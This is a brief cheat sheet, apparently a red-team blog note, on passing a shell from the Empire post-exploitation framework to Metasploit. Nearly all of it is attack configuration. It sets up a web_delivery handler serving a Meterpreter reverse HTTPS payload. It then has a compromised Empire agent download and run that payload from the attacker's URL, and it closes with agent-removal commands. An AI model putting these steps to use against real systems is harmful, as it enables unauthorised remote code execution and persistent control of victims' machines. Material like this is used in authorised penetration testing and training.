Empire Basics

Just a quick reference for Empire basics

Passing a shell to MSF

Metasploit config for the handler

use exploit/multi/script/web_delivery
set SRVHOST IP-ADDRESS
set SRVPORT 8080
set SSL true
set target 2
set URIPATH posh-payload
set payload windows/meterpreter/reverse_https
set LHOST IP-ADDRESS
set LPORT 443
run -j

Empire config to pass the shell

interact (agent name)
usemodule code_execution/invoke_metasploitpayload
set URL https://IP-ADDRESS:8080/posh-payload
run

——

Kill / remove agents

agents
remove (agent name)

remove all

@myexploit2600